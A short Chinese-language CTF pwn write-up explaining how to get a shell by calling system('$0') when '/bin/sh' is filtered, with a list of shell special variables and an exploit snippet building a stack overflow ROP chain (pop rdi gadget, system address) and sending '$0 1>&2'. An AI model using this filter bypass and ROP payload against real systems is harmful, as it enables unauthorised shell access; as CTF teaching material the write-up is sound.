利用$0getshell

前言

做一道限制了/bin/sh的题的时候,想了好多办法去绕过限制和平衡栈,但是没想到一个奇怪的利用姿势,利用shell的$0去getshell

$0

在shell中

  1. $0 就是编写的shell脚本本身的名字
  2. $1 是在运行shell脚本传的第一个参数
  3. $2 是在运行shell脚本传的第二个参数
  4. $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号)
  5. $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号)
  6. $? 最后运行的命令的结束代码(返回值)

这里$0就是我们需要用到的了,在pwn题的远程环境中,这个0就是shell

利用

所以我们在执行system函数的时候可以执行system(“$0”)去代替system(“/bin/sh”)

效果是一样的,类似于下面这样

1
2
3
4
5
system=0x0400712
main=0x4008A0
pop_rdi_ret=0x0000000000400983
sla("Dear Mercedes owner, what would you like to drink\n",b'$0 1>&2')
sla("What else can I do for you?\n",b'd'*(0x20+0x8)+p64(pop_rdi_ret)+p64(0x0601090)+p64(system))